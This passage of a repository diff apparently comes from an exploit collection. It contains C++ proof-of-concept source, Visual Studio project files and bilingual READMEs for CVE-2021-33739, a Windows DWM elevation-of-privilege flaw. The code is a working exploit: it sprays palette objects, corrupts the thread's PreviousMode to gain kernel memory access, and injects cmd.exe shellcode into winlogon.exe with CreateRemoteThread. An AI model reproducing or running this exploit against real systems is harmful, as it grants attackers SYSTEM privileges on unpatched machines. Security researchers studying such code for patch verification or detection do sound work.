*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
for (size_t i = 0; i < 0x5000; i++)
{
createPaletteofSize1(g_pExploitCtx->ObjectSize);
}
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
for (size_t i = 0; i < 0x5000; i++)
{
createPaletteofSize2(g_pExploitCtx->ObjectSize);
}
szBuff[0] = 0x04;
szBuff[1] = 0x04;
szBuff[2] = 0xffff;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1);
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
NtDCompositionCommitChannel(hChannel, &dwArg1, &dwArg2, 0, p);
//getc(stdin);
InjectToWinlogon();
RestoreStatus();
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
return 0;
}

View File

@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>exp</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="exp.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ntos.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="exp.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ntos.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,37 @@
### CVE-2021-33739
#### 描述
Microsoft DWM核心库的特权漏洞提升
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 21H1 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33739
```
#### 利用方式
编译环境
- VS2019V142X64 Release
- VS2019V142X86 Release
测试系统Windows 10 1909 X64
![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif)
#### 代码来源
- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC)

View File

@ -0,0 +1,37 @@
### CVE-2021-33739
#### Describe
Microsoft DWM Core Library Elevation of Privilege Vulnerability
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 21H1 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33739
```
#### Utilization
CompilerEnvironment
- VS2019V142X64 Release
- VS2019V142X86 Release
Test system Windows 10 1909 X64
![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif)
#### ProjectSource
- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC)

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1062
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exp", "exp\exp.vcxproj", "{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.ActiveCfg = Debug|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.Build.0 = Debug|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.ActiveCfg = Debug|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.Build.0 = Debug|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.ActiveCfg = Release|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.Build.0 = Release|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.ActiveCfg = Release|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {95E87A53-C105-414E-8786-A0627CD97286}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,680 @@
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <strsafe.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include "ntos.h"
#pragma comment(lib, "ntdll.lib")
enum DCPROCESSCOMMANDID
{
nCmdProcessCommandBufferIterator,
nCmdCreateResource,
nCmdOpenSharedResource,
nCmdReleaseResource,
nCmdGetAnimationTime,
nCmdCapturePointer,
nCmdOpenSharedResourceHandle,
nCmdSetResourceCallbackId,
nCmdSetResourceIntegerProperty,
nCmdSetResourceFloatProperty,
nCmdSetResourceHandleProperty,
nCmdSetResourceHandleArrayProperty,
nCmdSetResourceBufferProperty,
nCmdSetResourceReferenceProperty,
nCmdSetResourceReferenceArrayProperty,
nCmdSetResourceAnimationProperty,
nCmdSetResourceDeletedNotificationTag,
nCmdAddVisualChild,
nCmdRedirectMouseToHwnd,
nCmdSetVisualInputSink,
nCmdRemoveVisualChild
};
typedef
NTSTATUS
(NTAPI *_NtDCompositionCreateChannel)(
OUT PHANDLE pArgChannelHandle,
IN OUT PSIZE_T pArgSectionSize,
OUT PVOID* pArgSectionBaseMapInProcess
);
typedef
NTSTATUS
(NTAPI* _NtDCompositionDestroyChannel)(
IN HANDLE ChannelHandle
);
typedef
NTSTATUS
(NTAPI *_NtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2);
typedef
NTSTATUS
(NTAPI* _NtDCompositionCommitChannel)(
IN HANDLE hChannel,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2,
IN DWORD flag,
IN HANDLE Object);
typedef
NTSTATUS
(NTAPI* _NtDCompositionCreateSynchronizationObject)(
void** a1
);
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
HANDLE ProcessHandle,
void* BaseAddress,
const void* SourceBuffer,
size_t Length,
size_t* BytesWritten);
typedef struct _EXPLOIT_CONTEXT {
PPEB pPeb;
_NtQuerySystemInformation fnNtQuerySystemInformation;
_NtWriteVirtualMemory fnNtWriteVirtualMemory;
HANDLE hCurProcessHandle;
HANDLE hCurThreadHandle;
DWORD64 dwKernelEprocessAddr;
DWORD64 dwKernelEthreadAddr;
DWORD previous_mode_offset;
DWORD win32_process_offset; // EPROCESS->Win32Process
DWORD GadgetAddrOffset;
DWORD ObjectSize;
}EXPLOIT_CONTEXT, * PEXPLOIT_CONTEXT;
PEXPLOIT_CONTEXT g_pExploitCtx;
SIZE_T GetObjectKernelAddress(PEXPLOIT_CONTEXT pCtx, HANDLE object)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
ULONG handleInfoSize = 0x1000;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress = 0;
BOOL bFind = FALSE;
while (TRUE)
{
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize = retLength + 0x100;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (NT_SUCCESS(status))
{
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
{
if ((USHORT)object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
}
}
if (handleInfo)
LocalFree(handleInfo);
if (bFind)
break;
}
return kernelAddress;
}
void WriteMemory(void* dst, const void* src, size_t size)
{
size_t num_bytes_written;
g_pExploitCtx->fnNtWriteVirtualMemory(GetCurrentProcess(), dst, src, size, &num_bytes_written);
}
DWORD64 ReadPointer(void* address)
{
DWORD64 value;
WriteMemory(&value, address, sizeof(DWORD64));
return value;
}
void WritePointer(void* address, DWORD64 value)
{
WriteMemory(address, &value, sizeof(DWORD64));
}
BOOL InitEnvironment()
{
g_pExploitCtx = new EXPLOIT_CONTEXT;
g_pExploitCtx->fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
g_pExploitCtx->fnNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtWriteVirtualMemory");
g_pExploitCtx->pPeb = NtCurrentTeb()->ProcessEnvironmentBlock;
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &g_pExploitCtx->hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) ||
!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &g_pExploitCtx->hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS))
return FALSE;
g_pExploitCtx->dwKernelEprocessAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurProcessHandle);
g_pExploitCtx->dwKernelEthreadAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurThreadHandle);
if (g_pExploitCtx->pPeb->OSMajorVersion < 10)
{
return FALSE;
}
if (g_pExploitCtx->pPeb->OSBuildNumber < 17763 || g_pExploitCtx->pPeb->OSBuildNumber > 19042)
{
return FALSE;
}
switch (g_pExploitCtx->pPeb->OSBuildNumber)
{
case 18362:
case 18363:
g_pExploitCtx->win32_process_offset = 0x3b0;
g_pExploitCtx->previous_mode_offset = 0x232;
g_pExploitCtx->GadgetAddrOffset = 0x50;
g_pExploitCtx->ObjectSize = 0x1a0;
break;
case 19041:
case 19042:
g_pExploitCtx->win32_process_offset = 0x508;
g_pExploitCtx->previous_mode_offset = 0x232;
g_pExploitCtx->GadgetAddrOffset = 0x38;
g_pExploitCtx->ObjectSize = 0x1d0;
break;
default:
break;
}
return TRUE;
}
DWORD64 where;
HPALETTE createPaletteofSize1(int size) {
int pal_cnt = (size + 0x8c - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
memset(lPalette, 0xff, palsize);
p[0] = (DWORD64)0xffffffff;
p[3] = (DWORD64)0x04;
p[9] = g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset - 9 - 8;
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
HPALETTE createPaletteofSize2(int size) {
int pal_cnt = (size + 0x8c - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
memset(lPalette, 0xff, palsize);
p[0] = (DWORD64)0xffffffff;
p[3] = (DWORD64)0x04;
p[9] = where - 8 + 3;
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
static const unsigned int shellcode_len = 0x1000;
#define MAXIMUM_FILENAME_LENGTH 255
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset
HMODULE GetNOSModule()
{
HMODULE hKern = 0;
hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
return hKern;
}
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}
for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBase;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
{
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
DWORD64 object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = GetNOSModule();
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}
DWORD64 PsGetCurrentCProcessData()
{
DWORD64 dwWin32ProcessAddr = ReadPointer((void*)( g_pExploitCtx->dwKernelEprocessAddr + g_pExploitCtx->win32_process_offset) );
return ReadPointer((void*)(dwWin32ProcessAddr + 0x100));
}
void RestoreStatus()
{
